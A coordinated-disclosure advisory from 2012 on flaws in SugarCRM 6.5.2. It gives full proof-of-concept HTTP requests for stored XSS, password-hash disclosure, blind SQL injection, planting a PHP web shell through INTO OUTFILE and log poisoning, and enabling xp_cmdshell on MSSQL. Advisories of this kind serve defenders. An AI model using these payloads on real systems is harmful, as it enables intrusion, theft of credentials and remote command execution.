################################################################################
# SugarCRM Community Edition 6.5.2 (Build 8410) multiple vulnerabilities       #
################################################################################
# Brendan Coles # http://itsecuritysolutions.org/                 # 2012-07-26 #
################################################################################

There are multiple security vulnerabilities in SugarCRM Community Edition 6.5.2 
(Build 8410) which may allow an attacker to take control of the software.

# Version:  6.5.2 (Build 8410)
# Homepage: http://sugarcrm.com/
# Vendor Notification:
  # 2012-07-26 -> secure@sugarcrm.com
  # 2012-07-27 <- vendor confirmed receipt
  # 2012-07-29 -> request for patch date
  # 2012-07-31 <- vendor advised issues will be patched in 6.5.3
  # 2012-08-24 -- vendor released 6.5.3
  # 2012-08-30 -- advisory released

################################################################################
# Packaged Software                                                            #
################################################################################

SugarCRM Community Edition 6.5.2 (Build 8410) comes in multiple flavors:

# FastStack Windows Installer 6.5.2 with MySQL
Apache          2.2.21
MySQL           5.5.16
PHP             5.3.8
phpMyAdmin      3.4.8
Zend Framework  1.10.8

# FastStack Windows Installer 6.5.2 with SQL Server
Apache          2.2.21
Microsoft SQL Server Express 2005
PHP             5.3.8
Zend Framework  1.10.8

# FastStack Linux Installer 6.5.2 with MySQL
Apache          2.2.21
MySQL           5.5.16
PHP             5.3.8
phpMyAdmin      3.4.8
Zend Framework  1.10.8

# FastStack Mac OS X Installer 6.5.2 with MySQL # Not tested
Apache
MySQL
PHP
Zend Framework


################################################################################
# Information Disclosure # Full Path Disclosure # Unauthenticated              #
################################################################################

The application creates the following file once any user has authenticated and 
completed the "wizard" introduction.

/sugarcrm/cache/include/externalAPI.cache.js

This file leaks some application details including the local file path.


################################################################################
# Information Disclosure # Username Enumeration # Unauthenticated              #
################################################################################

Unauthenticated users can enumerate valid usernames and user e-mail addresses.

The following proof of concept is available:

/sugarcrm/vcal_server.php?type=vfb&email=will@example.com
/sugarcrm/vcal_server.php?type=vfb&user_name=will


################################################################################
# Information Disclosure # User Schedules # Unauthenticated                    #
################################################################################

By default all users have an empty key for the iCalendar allowing 
unauthenticated users to see users' schedules.

The following proof of concept is available:

/sugarcrm/ical_server.php?type=ics&key=&email=will@example.com
/sugarcrm/ical_server.php?type=ics&key=&user_name=will


################################################################################
# Persistent Cross-Site Scripting (XSS) # Authenticated - User Role            #
################################################################################

The following proof of concept is available:

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=eefo76fskvd5qfpa0oqsd7a5i2
Content-Type: multipart/form-data; boundary=---------------------------2921238217421
Content-Length: 496

-----------------------------2921238217421
Content-Disposition: form-data; name="module"

Documents
-----------------------------2921238217421
Content-Disposition: form-data; name="action"

Save
-----------------------------2921238217421
Content-Disposition: form-data; name="filename_file"; filename="anything.jpg"
Content-Type: image/jpeg

<script>alert(document.cookie+" on "+document.domain)</script>

-----------------------------2921238217421


# Response:

HTTP/1.1 301 Moved Permanently
Date: Mon, 23 Jul 2012 11:08:38 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ck_login_id_20=1; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: ck_login_language_20=en_us; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: sugar_user_theme=Sugar5; expires=Tue, 23-Jul-2013 11:08:38 GMT
Location: index.php?module=Documents&action=DetailView&record=b60e0d55-9ed3-6ce7-c7b5-500d307bd0ca
Content-Length: 0
Content-Type: text/html; charset=UTF-8


# View the payload here:

/sugarcrm/index.php?entryPoint=download&id=b60e0d55-9ed3-6ce7-c7b5-500d307bd0ca&type=Documents


################################################################################
# Persistent Cross-Site Scripting (XSS) # Authenticated - User Role            #
################################################################################

The following proof of concept is available:

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=eefo76fskvd5qfpa0oqsd7a5i2
Content-Type: multipart/form-data; boundary=---------------------------2921238217421
Content-Length: 658

-----------------------------2921238217421
Content-Disposition: form-data; name="module"

Notes
-----------------------------2921238217421
Content-Disposition: form-data; name="action"

Save
-----------------------------2921238217421
Content-Disposition: form-data; name="filename_file"; filename="anything.jpg"
Content-Type: image/jpeg

<script>alert(document.cookie+" on "+document.domain)</script>

-----------------------------2921238217421


# Response:

HTTP/1.1 301 Moved Permanently
Date: Mon, 23 Jul 2012 11:08:38 GMT
Server: Apache
X-Powered-By: PHP/5.3.8
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: ck_login_id_20=1; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: ck_login_language_20=en_us; expires=Sun, 21-Oct-2012 11:08:38 GMT; path=/; domain=192.168.123.123
Set-Cookie: sugar_user_theme=Sugar5; expires=Tue, 23-Jul-2013 11:08:38 GMT
Location: index.php?module=Notes&action=DetailView&record=6403f695-bc09-25b9-9140-500d41008d09
Content-Length: 0
Content-Type: text/html; charset=UTF-8


# View the payload here:

/sugarcrm/index.php?entryPoint=download&id=6403f695-bc09-25b9-9140-500d41008d09&type=Notes


################################################################################
# Information Disclosure # User Hash Disclosure # Authenticated - User Role    #
################################################################################

An authenticated user can view the password hashes of all users.

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 144
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":"and","field_list":["user_name","first_name","last_name","is_admin","user_hash","system_generated_password"]}]}


################################################################################
# Blind SQL Injection # Authenticated - User Role                              #
################################################################################

# MySQL on Windows and Linux

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 215
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":") and substring(version(),1,6) like '5.5.16'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}


# MSSQL on Windows

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7
Content-Length: 238

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":") and substring(@@version,1,25) like 'microsoft sql server 2005'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}


################################################################################
# Remote Command Execution # Authenticated - User Role                         #
################################################################################

# MySQL on Windows

The default MySQL configuration allows arbitrary command execution, if it is 
running on the same host as the web server, by leveraging the aforementioned 
blind SQL injection.

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 207
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":") union select \"<?php @system($_REQUEST['cmd']); ?>\" FROM users INTO OUTFILE 'C://Program Files//sugarcrm-6.5.2//apps//sugarcrm//htdocs//backdoor.php'--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}

# View the backdoor here:

/sugarcrm/backdoor.php?cmd=dir


# MSSQL on Windows

The default MSSQL configuration allows arbitrary command execution on the 
database server by leveraging the aforementioned blind SQL injection.

The following proof of concept is available:

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 207
Cookie: PHPSESSID=82liivpdso6dtt4o010rsb3is7

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":");EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC master..xp_cmdshell 'calc.exe';--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}


# MySQL on Linux

By default the database user does not have write access to the web root in the 
FastStack Linux Installer.


################################################################################
# Remote Command Execution # Authenticated - Administrator Role                #
################################################################################

A user with Administrator roles can execute arbitrary commands by abusing the 
logging functionality.

The following proof of concept is available:

# Change the log file name to backdoor.php

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4;
Content-Type: multipart/form-data; boundary=---------------------------295221455122937
Content-Length: 592

-----------------------------295221455122937
Content-Disposition: form-data; name="action"

SaveConfig
-----------------------------295221455122937
Content-Disposition: form-data; name="module"

Configurator
-----------------------------295221455122937
Content-Disposition: form-data; name="logger_file_name"

backdoor
-----------------------------295221455122937
Content-Disposition: form-data; name="logger_file_ext"

.php
-----------------------------295221455122937
Content-Disposition: form-data; name="save"

  Save  
-----------------------------295221455122937--


# Write to the error log 'backdoor.php' by triggering a database error

POST /sugarcrm/index.php?entryPoint=json_server HTTP/1.1
Host: 192.168.123.123
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4;
Content-Length: 230

{"method":"query","id":"anything","params":[{"modules":["Users"],"group":") union select \"<?php @system($_REQUEST[\"cmd\"]); ?>\"--","field_list":["user_name"],"conditions":[{"name":"user_name","op":"starts_with","value":"%"}]}]}


# View the backdoor here:

/sugarcrm/backdoor.php?cmd=dir


# Change the log file name back to "sugarcrm.log"

POST /sugarcrm/index.php HTTP/1.1
Host: 192.168.123.123
Referer: http://127.0.0.1/
Cookie: PHPSESSID=s8hdjjam3t6i8of9vvc6702mc4;
Content-Type: multipart/form-data; boundary=---------------------------295221455122937
Content-Length: 592

-----------------------------295221455122937
Content-Disposition: form-data; name="action"

SaveConfig
-----------------------------295221455122937
Content-Disposition: form-data; name="module"

Configurator
-----------------------------295221455122937
Content-Disposition: form-data; name="logger_file_name"

sugarcrm
-----------------------------295221455122937
Content-Disposition: form-data; name="logger_file_ext"

.log
-----------------------------295221455122937
Content-Disposition: form-data; name="save"

  Save  
-----------------------------295221455122937--


################################################################################
EOF